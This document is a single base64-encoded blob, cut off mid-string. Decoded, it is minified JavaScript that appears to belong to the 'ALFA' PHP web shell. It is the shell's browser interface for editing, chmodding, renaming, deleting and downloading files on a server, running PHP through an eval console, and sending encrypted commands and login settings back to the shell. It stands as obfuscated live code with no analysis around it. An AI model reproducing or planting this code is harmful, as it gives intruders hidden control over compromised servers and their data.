KCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5PygkKCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsc2hvd0VkaXRvcigiZWRpdG9yIiksYWxmYWxvYWRlcihiLCJibG9jayIpKTooaXNfbWluaW1pemVkJiZzaG93RWRpdG9yKCJlZGl0b3IiKSxudWxsIT0kKGIpP2FsZmFsb2FkZXIoYiwiYmxvY2siKTooYWxmYWxvYWRlcigiZWRpdG9yIiwiYmxvY2siKSxiPSJlZGl0b3IiKSksX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJGaWxlc1Rvb2xzIikrIiZjPSIrYWxmYWI2NChmKSsiJmFsZmExPSIrYWxmYWI2NChlKSsiJmFsZmEyPSIrYWxmYWI2NChhKSsiJmFsZmEzPSIrcisiJmFsZmE0PSIrbisiJmFsZmE1PSZhbGZhNj0mYWxmYTc9JmFsZmE4PSZhbGZhOT0mYWxmYTEwPSYmYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbih0LGkpe3ZhciBsPSQoInRhYl8iK2kpO3RyeXtudWxsIT1sJiYoKC0xPT1sLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJlZGl0b3ItdGFiLWFjdGl2ZSIpfHxpc19taW5pbWl6ZWQpJiYobC5jbGFzc0xpc3QuYWRkKCJ0YWItaXMtZG9uZSIpLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIiwiRWRpdG9yOiAiK2wuaW5uZXJUZXh0KSksaXNfbWluaW1pemVkJiZhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJlZGl0b3IiKSl9Y2F0Y2godCl7fWlmKCJub25lIj09JCgiZWRpdG9yIikuc3R5bGUuZGlzcGxheT9hbGZhTG9hZGVyT25Ub3AoIm5vbmUiKTphbGZhbG9hZGVyKGksIm5vbmUiKSxyLmxlbmd0aD4wJiYiZWRpdCI9PWEpcmV0dXJuIGlzX21pbmltaXplZHx8bnVsbCE9bCYmLTEhPWwuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImVkaXRvci10YWItYWN0aXZlIikmJmFsZmFTaG93Tm90aWZpY2F0aW9uKCJzYXZlZC4uLiEiLCJFZGl0b3IiKSwhMTtpZihudWxsIT0kKGkpJiYoJChpKS5pbm5lckhUTUw9dCksaXNfbWluaW1pemVkJiZhbGZhU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsIkVkaXRvcjogIitkZWNvZGVVUklDb21wb25lbnQoZSkpLCQoImVkaXRvciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixldmFsSlModCksYWxmYUxvYWRBY2VFZGl0b3IoInZpZXdfbWxfY29udGVudCIpLCJkZWxldGUiIT1hJiZlZGl0b3JfZXJyb3Ipe3ZhciBjPWQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiaXNfYWN0aXZlIik7MCE9Yy5sZW5ndGgmJihjWzBdLmNsYXNzTmFtZT0iZmlsZS1ob2xkZXIiKSxuPXMsZT1kZWNvZGVVUklDb21wb25lbnQoZSksIWVkaXRvcl9maWxlc1tuXSYmXz8oZWRpdG9yX2ZpbGVzW25dPXtmaWxlOmUscHdkOmYsdHlwZTpvfSxpbnNlcnRUb0hpc3RvcnkobixlLCIgaXNfYWN0aXZlIixvKSwibWtmaWxlIj09YSYmZygiRmlsZXNNYW4iLG51bGwpKTokKG4pLnBhcmVudE5vZGUuY2xhc3NOYW1lKz0iIGlzX2FjdGl2ZSJ9ZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJoaWRkZW4iLGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZmlsZXN0b29scyIpWzBdLnNldEF0dHJpYnV0ZSgiZmlkIixuKSxlZGl0b3JfZmlsZXNbbl0mJihkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImVkaXRvci1wYXRoIilbMF0uaW5uZXJIVE1MPShlZGl0b3JfZmlsZXNbbl0ucHdkKyIvIitlZGl0b3JfZmlsZXNbbl0uZmlsZSkucmVwbGFjZSgvXC9cLy9nLCIvIikpLGVkaXRvcl9jdXJyZW50X2ZpbGU9bix1cGRhdGVDb29raWVFZGl0b3IoKX0sITEsYiksITF9ZnVuY3Rpb24gYWxmYUxvYWRBY2VFZGl0b3IoZSxhKXtpZih2b2lkIDA9PT1hJiYoYT0hMSksbnVsbD09JCgiYWxmYS1hY2UtcGx1Z2luIikpe3ZhciB0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3JldHVybiB0LnNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvYWNlLzEuNC4xMS9hY2UuanMiLHQuaWQ9ImFsZmEtYWNlLXBsdWdpbiIsdC5vbmxvYWQ9ZnVuY3Rpb24oKXthbGZhTG9hZEFjZUVkaXRvcihlLGEpfSxkLmJvZHkuYXBwZW5kQ2hpbGQodCksITF9dHJ5eyJhbGxvdyI9PSQoZSkuZ2V0QXR0cmlidXRlKCJtb2RlIikmJihhPSExKX1jYXRjaChlKXt9aWYoInZpZXdfbWxfY29udGVudCI9PWUpe251bGw9PWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yJiYoYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3I9e30pO3ZhciBpPWdldENvb2tpZSgiYWxmYV9hY2VfdGhlbWVfZWRpdG9yIiksbD1nZXRDb29raWUoImFsZmFfYWNlX2ZvbnRzaXplX2VkaXRvciIpO3ZvaWQgMD09PWkmJihpPSJ0ZXJtaW5hbCIpLDA9PWkubGVuZ3RoJiYoaT0idGVybWluYWwiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5lZGl0b3ItYWNlLWNvbnRyb2xsZXIiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2lmKG51bGwhPWUuZ2V0QXR0cmlidXRlKCJhY2UiKSlyZXR1cm4hMTtlLnNldEF0dHJpYnV0ZSgiYWNlIiwib2siKTt2YXIgdD1nZXRSYW5kb20oMTApLG89ZS5xdWVyeVNlbGVjdG9yKCIudmlld19tbF9jb250ZW50Iik7by5zZXRBdHRyaWJ1dGUoImlkIiwidmlld19tbF9jb250ZW50LSIrdCksYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdPWFjZS5lZGl0KG8pLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRSZWFkT25seShhKSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uc2V0U2hvd1ByaW50TWFyZ2luKCExKSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uc2V0VGhlbWUoImFjZS90aGVtZS8iK2kpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXNzaW9uLnNldE1vZGUoImFjZS9tb2RlL3BocCIpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCEwKSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uY29tbWFuZHMuYWRkQ29tbWFuZCh7bmFtZToic2F2ZSIsYmluZEtleTp7d2luOiJDdHJsLVMiLG1hYzoiQ21kLVMifSxleGVjOmZ1bmN0aW9uKGUpe2QucXVlcnlTZWxlY3RvcigiI2FjZS1zYXZlLWJ0bi0iK3QpLmNsaWNrKCl9fSksZS5xdWVyeVNlbGVjdG9yKCJzZWxlY3QuYWNlLXRoZW1lLXNlbGVjdG9yIikudmFsdWU9aSxlLnF1ZXJ5U2VsZWN0b3JBbGwoIi5hY2UtY29udHJvbGVyIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLnNldEF0dHJpYnV0ZSgiYWNlX2lkIiwidmlld19tbF9jb250ZW50LSIrdCksLTEhPWUuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImFjZS1zYXZlLWJ0biIpJiZlLnNldEF0dHJpYnV0ZSgiaWQiLCJhY2Utc2F2ZS1idG4tIit0KX0pLHZvaWQgMCE9PWwmJnNldFRpbWVvdXQoZnVuY3Rpb24oKXthbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uc2V0Rm9udFNpemUocGFyc2VJbnQobCkpfSwxZTMpfSl9ZWxzZXtudWxsPT1hbGZhX2FjZV9lZGl0b3JzLmV2YWwmJihhbGZhX2FjZV9lZGl0b3JzLmV2YWw9e30pO2k9Z2V0Q29va2llKCJhbGZhX2FjZV90aGVtZV9ldmFsIiksbD1nZXRDb29raWUoImFsZmFfYWNlX2ZvbnRzaXplX2V2YWwiKTt2b2lkIDA9PT1pJiYoaT0idGVybWluYWwiKSwwPT1pLmxlbmd0aCYmKGk9InRlcm1pbmFsIiksZC5xdWVyeVNlbGVjdG9yQWxsKCIucGhwLWV2YWxzIikuZm9yRWFjaChmdW5jdGlvbihlKXtpZihudWxsIT1lLmdldEF0dHJpYnV0ZSgiYWNlIikpcmV0dXJuITE7ZS5zZXRBdHRyaWJ1dGUoImFjZSIsIm9rIik7dmFyIHQ9ZS5xdWVyeVNlbGVjdG9yKCIucGhwLWV2YWxzLWFjZSIpLG89Z2V0UmFuZG9tKDEwKTt0LnNldEF0dHJpYnV0ZSgiaWQiLCJwaHBldmFsLSIrbyksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb109YWNlLmVkaXQodCksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2V0UmVhZE9ubHkoYSksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2V0U2hvd1ByaW50TWFyZ2luKCExKSxhbGZhX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRUaGVtZSgiYWNlL3RoZW1lLyIraSksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2Vzc2lvbi5zZXRNb2RlKCJhY2UvbW9kZS9waHAiKSxhbGZhX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCEwKSxlLnF1ZXJ5U2VsZWN0b3IoInNlbGVjdC5hY2UtdGhlbWUtc2VsZWN0b3IiKS52YWx1ZT1pLGUucXVlcnlTZWxlY3RvckFsbCgiLmFjZS1jb250cm9sZXIiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2Uuc2V0QXR0cmlidXRlKCJhY2VfaWQiLCJwaHBldmFsLSIrbyl9KSx2b2lkIDAhPT1sJiZzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7YWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2V0Rm9udFNpemUocGFyc2VJbnQobCkpfSwxZTMpfSl9fWZ1bmN0aW9uIGluc2VydFRvSGlzdG9yeShlLGEsdCxpKXt2YXIgbD0iIjt0JiYwIT10JiYobD10KTt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTtvLmlubmVySFRNTD0iPGRpdiBpZD0nIitlKyInIGNsYXNzPSdoaXN0b3J5JyBvbkNsaWNrPSdyZW9wZW4odGhpcyk7Jz48ZGl2IGNsYXNzPSdlZGl0b3ItaWNvbic+Iitsb2FkVHlwZShhLGksZSkrIjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1maWxlLW5hbWUnPiIrYSsiPC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0naGlzdG9yeS1jbG9zZScgb25DbGljaz0ncmVtb3ZlSGlzdG9yeShcIiIrZSsiXCIpOyc+WDwvZGl2PiIsby5jbGFzc05hbWU9ImZpbGUtaG9sZGVyIitsLG8uYWRkRXZlbnRMaXN0ZW5lcigibW91c2VvdmVyIixmdW5jdGlvbigpe3NldEVkaXRvclRpdGxlKGUsIm92ZXIiKSx0aGlzLmNoaWxkTm9kZXNbMV0uc3R5bGUub3BhY2l0eT0iMSJ9KSxvLmFkZEV2ZW50TGlzdGVuZXIoIm1vdXNlb3V0IixmdW5jdGlvbigpe3NldEVkaXRvclRpdGxlKGUsIm91dCIpLHRoaXMuY2hpbGROb2Rlc1sxXS5zdHlsZS5vcGFjaXR5PSIwIn0pO3ZhciByPWQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiaGlzdG9yeS1saXN0IilbMF07ci5pbnNlcnRCZWZvcmUobyxyLmZpcnN0Q2hpbGQpfWZ1bmN0aW9uIGxvYWRUeXBlKGUsYSx0KXsibm9uZSI9PWEmJl9BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgiY2hlY2tmaWxldHlwZSIpKyImcGF0aD0iK2FsZmFiNjQoZWRpdG9yX2ZpbGVzW3RdLnB3ZCkrIiZhcmc9IithbGZhYjY0KGVkaXRvcl9maWxlc1t0XS5maWxlKSxmdW5jdGlvbihlKXskKHQpLmlubmVySFRNTD0iPGRpdiBjbGFzcz0nZWRpdG9yLWljb24nPiIrbG9hZFR5cGUoZWRpdG9yX2ZpbGVzW3RdLmZpbGUsZSx0KSsiPC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWZpbGUtbmFtZSc+IitlZGl0b3JfZmlsZXNbdF0uZmlsZSsiPC9kaXY+IixlZGl0b3JfZmlsZXNbdF0udHlwZT1lfSk7aWYoImZpbGUiPT1hKXthPShhPWUuc3BsaXQoIi4iKSlbYS5sZW5ndGgtMV0udG9Mb3dlckNhc2UoKTstMT09WyJqc29uIiwicHB0IiwicHB0eCIsInhscyIsInhsc3giLCJtc2kiLCJjb25maWciLCJjZ2kiLCJwbSIsImMiLCJjcHAiLCJjcyIsImphdmEiLCJhc3B4IiwiYXNwIiwiZGIiLCJ0dGYiLCJlb3QiLCJ3b2ZmIiwid29mZjIiLCJ3b2ZmIiwiY29uZiIsImxvZyIsImFwayIsImNhYiIsImJ6MiIsInRneiIsImRtZyIsIml6byIsImphciIsIjd6IiwiaXNvIiwicmFyIiwiYmF0Iiwic2giLCJhbGZhIiwiZ3oiLCJ0YXIiLCJwaHAiLCJwaHA0IiwicGhwNSIsInBodG1sIiwiaHRtbCIsInhodG1sIiwic2h0bWwiLCJodG0iLCJ6aXAiLCJwbmciLCJqcGciLCJqcGVnIiwiZ2lmIiwiYm1wIiwiaWNvIiwidHh0IiwianMiLCJyYiIsInB5IiwieG1sIiwiY3NzIiwic3FsIiwiaHRhY2Nlc3MiLCJwbCIsImluaSIsImRsbCIsImV4ZSIsIm1wMyIsIm1wNCIsIm00YSIsIm1vdiIsImZsdiIsInN3ZiIsIm1rdiIsImF2aSIsIndtdiIsIm1wZyIsIm1wZWciLCJkYXQiLCJwZGYiLCIzZ3AiLCJkb2MiLCJkb2N4IiwiZG9jbSJdLmluZGV4T2YoYSkmJihhPSJub3Rmb3VuZCIpfWVsc2UgYT0iZm9sZGVyIjtyZXR1cm4nPGltZyBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMve3R5cGV9IiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiPicucmVwbGFjZSgie3R5cGV9IixhKyIucG5nIil9ZnVuY3Rpb24gdXBkYXRlRmlsZUVkaXRvcihlLGEpe3ZhciB0PSJpZF8iK2UsaT0iaWRfY2htb2RlXyIrZSxsPSJpZF9yZW5hbWVfIitlLG89ImlkX3RvdWNoXyIrZSxyPSJpZF9lZGl0XyIrZSxuPSJpZF9kb3dubG9hZF8iK2UsZD0iaWRfZGVsZXRlXyIrZSxzPSQodCkuZ2V0QXR0cmlidXRlKCJmdHlwZSIpOyJmb2xkZXIiPT1zJiYocz0iZGlyIiksImZpbGUiPT1zPygkKHQpLmlubmVySFRNTD1hLCQodCkuc2V0QXR0cmlidXRlKCJocmVmIiwiI2FjdGlvbj1maWxlbWFuJnBhdGg9IitjXysiLyIrYSksJCh0KS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJlZGl0b3IoJyIrYSsiJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKSIpLCQocikuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJ2VkaXQnLCcnLCcnLCcnLCciK3MrIicpIiksJChuKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJnKCdGaWxlc1Rvb2xzJyxudWxsLCciK2ErIicsICdkb3dubG9hZCcpIikpOigkKHQpLmlubmVySFRNTD0iPGI+fCAiK2ErIiB8PC9iPiIsJCh0KS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJnKCdGaWxlc01hbicsICciK2NfKyIvIithKyInKSIpKSwkKGkpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCdjaG1vZCcsJycsJycsJycsJyIrcysiJykiKSwkKGwpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCdyZW5hbWUnLCcnLCcnLCcnLCciK3MrIicpIiksJChvKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJlZGl0b3IoJyIrYSsiJywndG91Y2gnLCcnLCcnLCcnLCciK3MrIicpIiksJChkKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJ2YXIgY2hrID0gY29uZmlybSgnQXJlIFlvdSBTdXJlIEZvciBEZWxldGUgIyAiK2ErIiAjID8nKTsgY2hrID8gZygnRmlsZXNNYW4nLG51bGwsJ2RlbGV0ZScsICciK2ErIicpIDogJyc7IiksJCh0KS5zZXRBdHRyaWJ1dGUoImZuYW1lIixhKX1mdW5jdGlvbiB1cGRhdGVEaXJzRWRpdG9yKGUsYSl7dmFyIHQ9ZC5tZi5jLnZhbHVlKyIvIixpPWVkaXRvcl9maWxlc1tlXS5wd2QrIi8iK2ErIi8iLGw9ZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrZWRpdG9yX2ZpbGVzW2VdLmZpbGUrIi8iO2Zvcih2YXIgbyBpbiBpPWkucmVwbGFjZSgvXC9cLy9nLCIvIiksbD1sLnJlcGxhY2UoL1wvXC8vZywiLyIpLC0xIT0odD10LnJlcGxhY2UoL1wvXC8vZywiLyIpKS5zZWFyY2goaSkmJihpbml0RGlyKHQucmVwbGFjZShpLGwpKSxkLm1mLmMudmFsdWU9dC5yZXBsYWNlKGksbCkpLGVkaXRvcl9maWxlcyl7dmFyIHI9ZWRpdG9yX2ZpbGVzW29dLnB3ZCsiLyI7LTEhPShyPXIucmVwbGFjZSgvXC9cLy9nLCIvIikpLnNlYXJjaChpKSYmKGVkaXRvcl9maWxlc1tvXS5wd2Q9ci5yZXBsYWNlKGksbCkpfXVwZGF0ZUNvb2tpZUVkaXRvcigpfWZ1bmN0aW9uIHVwZGF0ZUNvb2tpZUVkaXRvcigpe3NldENvb2tpZSgiYWxmYV9oaXN0b3J5X2ZpbGVzIixidG9hKEpTT04uc3RyaW5naWZ5KGVkaXRvcl9maWxlcykpLDIwMTIpfWZ1bmN0aW9uIHNldEVkaXRvclRpdGxlKGUsYSl7aWYoIm91dCI9PWEmJiIiIT1lZGl0b3JfY3VycmVudF9maWxlKXt2YXIgdD1kLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFiLW5hbWUuZWRpdG9yLXRhYi1hY3RpdmUiKTtlPW51bGwhPXQ/dC5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpLnJlcGxhY2UoImVkaXRvcl9zb3VyY2VfIiwiZmlsZV8iKTplZGl0b3JfY3VycmVudF9maWxlfWVkaXRvcl9maWxlc1tlXSYmKGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZWRpdG9yLXBhdGgiKVswXS5pbm5lckhUTUw9KGVkaXRvcl9maWxlc1tlXS5wd2QrIi8iK2VkaXRvcl9maWxlc1tlXS5maWxlKS5yZXBsYWNlKC9cL1wvL2csIi8iKSl9ZnVuY3Rpb24gcmVtb3ZlSGlzdG9yeShlKXtkZWxldGUgZWRpdG9yX2ZpbGVzW2VdLCQoZSkmJiQoZSkucGFyZW50Tm9kZS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKCQoZSkucGFyZW50Tm9kZSk7dmFyIGE9ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJmaWxlc3Rvb2xzIilbMF07YSYmYS5nZXRBdHRyaWJ1dGUoImZpZCIpPT1lJiYoYS5vdXRlckhUTUw9IiIpLGVkaXRvcl9jdXJyZW50X2ZpbGU9PWUmJihlZGl0b3JfY3VycmVudF9maWxlPSIiKSx1cGRhdGVDb29raWVFZGl0b3IoKX1mdW5jdGlvbiBnZXRSYW5kb20oZSl7Zm9yKHZhciBhPSIiLHQ9IjAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIixpPXZvaWQgMD09PWU/MjA6ZTtpPjA7LS1pKWErPXRbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKnQubGVuZ3RoKV07cmV0dXJuIGF9ZnVuY3Rpb24gcmVvcGVuKGUpe3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJpZCIpLHQ9ZWRpdG9yX2ZpbGVzW2FdLnB3ZCxpPWVkaXRvcl9maWxlc1thXS5maWxlLGw9ImVkaXRvcl9zb3VyY2VfIithLnJlcGxhY2UoImZpbGVfIiwiIik7bnVsbD09JChsKT9lZGl0b3IoaSwiYXV0byIsIiIsdCxhKTplZGl0b3JUYWJDb250cm9sbGVyKGwsITApfWZ1bmN0aW9uIGNvcHlUb0NsaXBib2FyZChlKXtlPWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTt2YXIgYT1hbGZhX2FjZV9lZGl0b3JzLmVkaXRvcltlXS5zZWxlY3Rpb24udG9KU09OKCk7YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbZV0uc2VsZWN0QWxsKCksYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbZV0uZm9jdXMoKSxkb2N1bWVudC5leGVjQ29tbWFuZCgiY29weSIpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yW2VdLnNlbGVjdGlvbi5mcm9tSlNPTihhKSxhbGZhU2hvd05vdGlmaWNhdGlvbigidGV4dCBjb3BpZWQiLCJFZGl0b3IiKX1mdW5jdGlvbiBlbmNyeXB0KGUsYSl7aWYobnVsbD09YXx8YS5sZW5ndGg8PTApcmV0dXJuIG51bGw7ZT1hbGZhYjY0KGUsITApLGE9YWxmYWI2NChhLCEwKTtmb3IodmFyIHQ9IiIsaT0iIixsPTA7bDxlLmxlbmd0aDspZm9yKHZhciBvPTA7bzxhLmxlbmd0aCYmKHQ9ZS5jaGFyQ29kZUF0KGwpXmEuY2hhckNvZGVBdChvKSxpKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHQpLCEoKytsPj1lLmxlbmd0aCkpO28rKyk7cmV0dXJuIGFsZmFiNjQoaSwhMCl9ZnVuY3Rpb24gcmVsb2FkU2V0dGluZyhlKXtyZXR1cm4gYWxmYWxvYWRlcihhbGZhX2JlZm9yZV9kb19hY3Rpb25faWQsImJsb2NrIiksX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJzZXR0aW5ncyIpKyImYWxmYTE9IithbGZhYjY0KGUucHJvdGVjdC52YWx1ZSkrIiZhbGZhMj0iK2FsZmFiNjQoZS5sZ3BhZ2UudmFsdWUpKyImYWxmYTM9IithbGZhYjY0KGUudXNlcm5hbWUudmFsdWUpKyImYWxmYTQ9IithbGZhYjY0KGUucGFzc3dvcmQudmFsdWUpKyImYWxmYTU9IithbGZhYjY0KCI+PiIpKyImYWxmYTY9IithbGZhYjY0KGUuaWNvbi52YWx1ZSkrIiZhbGZhNz0iK2FsZmFiNjQoZS5wb3N0X2VuY3J5cHQudmFsdWUpKyImYWxmYTg9IithbGZhYjY0KCJtYWluIikrIiZhbGZhOT0iK2FsZmFiNjQoZS5jZ2lfYXBpLnZhbHVlKSsiJmM9IithbGZhYjY0KGNfKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24oZSxhKXtsb2FkUG9wVXBPcFRpb25zKGEsZSksZXZhbEpTKGUpLGFsZmFsb2FkZXIoYSwibm9uZSIpfSwhMSxhbGZhX2JlZm9yZV9kb19hY3Rpb25faWQpLGFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZD0iIiwwPT1lLmUudmFsdWUmJjE9PWUucHJvdGVjdC52YWx1ZSYmc2V0VGltZW91dCgibG9jYXRpb24ucmVsb2FkKCkiLDFlMyksZS5zLnZhbHVlIT1lLmljb24udmFsdWUmJnNldFRpbWVvdXQoImxvY2F0aW9uLnJlbG9hZCgpIiwxZTMpLCExfWZ1bmN0aW9uIHJlbG9hZENvbG9ycyhlKXt2YXIgYT17fTt2b2lkIDA9PT1lP2QucXVlcnlTZWxlY3RvckFsbCgiLmNvbG9yc19pbnB1dCIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoInRhcmdldCIpLnJlcGxhY2UoIi4iLCIiKTthW3RdPWUudmFsdWV9KTphPWU7dmFyIHQ9JCgidXNlX2RlZmF1bHRfY29sb3IiKS5jaGVja2VkPyIxIjoiMCI7X0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJzZXR0aW5ncyIpKyImYWxmYTE9IithbGZhYjY0KEpTT04uc3RyaW5naWZ5KGEpKSsiJmFsZmEyPSIrYWxmYWI2NCgiPj4iKSsiJmFsZmEzPSIrYWxmYWI2NCh0KSsiJmFsZmE4PSIrYWxmYWI2NCgiY29sb3IiKSsiJmM9IithbGZhYjY0KGNfKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24oZSl7ZXZhbEpTKGUpfSwhMCl9ZnVuY3Rpb24gYWxmYWI2NChlLGEpe3JldHVybiB2b2lkIDAhPT1hfHwwPT1wb3N0X2VuY3J5cHRpb25fbW9kZT93aW5kb3cuYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQoZSkpKTplbmNyeXB0KGUsIjw/cGhwIGVjaG8gX19BTEZBX1NFQ1JFVF9LRVlfXzsgPz4iKX1mdW5jdGlvbiBldmFsQ3NzKGUpe3ZhciBhPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInN0eWxlIik7YS5zdHlsZVNoZWV0P2Euc3R5bGVTaGVldC5jc3NUZXh0PWU6YS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShlKSksZC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFwcGVuZENoaWxkKGEpfWZ1bmN0aW9uIGNvbG9ySGFuZGxlcktleShlKXtzZXRUaW1lb3V0KGZ1bmN0aW9uKGEpe2NvbG9ySGFuZGxlcihlKX0sMjAwKX1mdW5jdGlvbiBjb2xvckhhbmRsZXIoZSl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInRhcmdldCIpLHQ9ZS5nZXRBdHRyaWJ1dGUoIm11bHRpIiksbD1hLmluZGV4T2YoIjpob3ZlciIpO2lmKHQpe3ZhciBvPUpTT04ucGFyc2UoYXRvYih0KSkscj0iIjtmb3IoaSBpbiBvLm11bHRpX3NlbGVjdG9yKXIrPWkrInsiK28ubXVsdGlfc2VsZWN0b3JbaV0ucmVwbGFjZSgve2NvbG9yfS9nLGUudmFsdWUpKyJ9IjtldmFsQ3NzKHIpfS0xPT1sfHx0PygkKCJpbnB1dF8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLCQoImd1aV8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLCIuaGVhZGVyX3ZhbHVlcyI9PWEmJihhPSIuaGVhZGVyLC5oZWFkZXJfdmFsdWVzIiksZC5xdWVyeVNlbGVjdG9yQWxsKGEpLmZvckVhY2goZnVuY3Rpb24oYSl7YS5zdHlsZS5jb2xvcj1lLnZhbHVlfSkpOigkKCJpbnB1dF8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLCQoImd1aV8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLGV2YWxDc3MoYSsie2NvbG9yOiAiK2UudmFsdWUrIjt9IikpfWZ1bmN0aW9uIGltcG9ydENvbmZpZyhlKXt2YXIgYT1lLnRhcmdldCx0PW5ldyBGaWxlUmVhZGVyO3Qub25sb2FkPWZ1bmN0aW9uKCl7dmFyIGU9dC5yZXN1bHQ7dHJ5e3JlbG9hZENvbG9ycyhKU09OLnBhcnNlKGUpKX1jYXRjaChlKXthbGVydCgiQ29uZmlnIGlzIGludmFsaWQuLi4hIil9JCgiaW1wb3J0RmlsZUJ0biIpLnZhbHVlPSIifSx0LnJlYWRBc1RleHQoYS5maWxlc1swXSl9ZnVuY3Rpb24gY2hlY2tCb3goZSl7dmFyIGE9YWxmYV9jdXJyZW50X2ZtX2lkLHQ9ZS5jaGVja2VkO2QucXVlcnlTZWxlY3RvckFsbCgiI2ZpbGVzbWFuX2hvbGRlcl8iK2ErIiBmb3JtW25hbWU9ZmlsZXNdIGlucHV0W3R5cGU9Y2hlY2tib3hdIikuZm9yRWFjaChmdW5jdGlvbihlKX